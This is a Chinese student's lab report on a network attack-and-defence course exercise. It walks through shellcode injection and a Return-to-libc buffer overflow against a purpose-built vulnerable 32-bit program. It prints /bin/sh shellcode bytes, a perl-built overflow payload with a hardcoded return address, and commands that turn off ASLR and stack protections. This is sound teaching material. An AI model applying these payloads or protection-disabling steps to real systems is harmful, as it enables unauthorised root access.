首页 技术 正文
技术 2022年11月16日
0 收藏 887 点赞 4,288 浏览 1431 个字

1.0 实践内容

Return-to-libc攻击是一种特殊的缓冲区溢出攻击,通常用于攻击有“栈不可执行”保护措施的目标系统。本实验中我们放弃了让漏洞程序执行堆栈中的shellcode,将用system()地址替换返回地址,用它调用一个root shell

1.1 shellcode注入实验

实验之前需要安装execstack.

设置堆栈可执行,并关闭地址随机化。

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

shellcode的获取得到shellcode如下

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
  • 接下来正式进入实验:

构造注入的payload,格式为nop(即\x90)+shellcode+返回地址。

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

对返回地址进行猜测,尝试找到shellcode的地址:

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

用gdb调试:

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

ret一行即为结束地址,从上图中,读出结束地址为0x080484ae

返回原来的终端:(回车要在设置断点后进行,gdb执行c前按下,否则无法确认进程号)

接下来设置断点,并寻找注入的buf的地址:

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

然后我们发现,先前输入的01020304出现在了这里,这里就是返回地址。

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

01020304的位置就是返回地址的位置,即0xffffd33c

获得shellcode的地址后,再次返回先前的终端,先用exit命令退出该步骤,随后修改input_shellcoded的值为

perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

然后在该窗口中,重新运行

(cat input_shellcode ; cat )| ./pwn5207

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

成功

2.0 Return-to-libc 攻击实验

首先需要创建环境

输入如下指令,创建32位C语言可编译的环境

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386

完成安装

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

输入命令

linux32

进入32位linux操作环境

使用

/bin/bash

进入bash

接下来关闭地址随机化

sudo sysctl -w kernel.randomize_va_space=0

为了防止shell攻击,若被攻击,则程序被调用时会自动弃权,用zkj来代替它:

这里用到的命令为:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

在tmp文件夹下编辑“retlib.c”文件,并编译设置SET-UID

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

我在windows下编译完成后复制进tmp文件夹,因此替代了文件

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

进行编译,

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

提权后退出。

创建文件“”getenvaddr.c”文件用于读取环境变量,并编译

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

在tmp文件夹下准备“exploit.c”文件用于攻击

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

并对其进行编译

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

编译exploit再运行gdb,对其进行调试

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

接下来获取system地址

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

通过上述获取的地址,修改入exploit.c文件,并删除之前生成的exploit和badfile文件,再次编译,

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

编译的方法是:将先前得到的地址等填入exploit的相应位置

最后编译运行retlib

20145207李祉昂《网络对抗技术》可选实验 shellcode注入与Return-to-libc攻击实验

攻击成功

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:8,996
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,510
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,353
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,137
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,770
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,848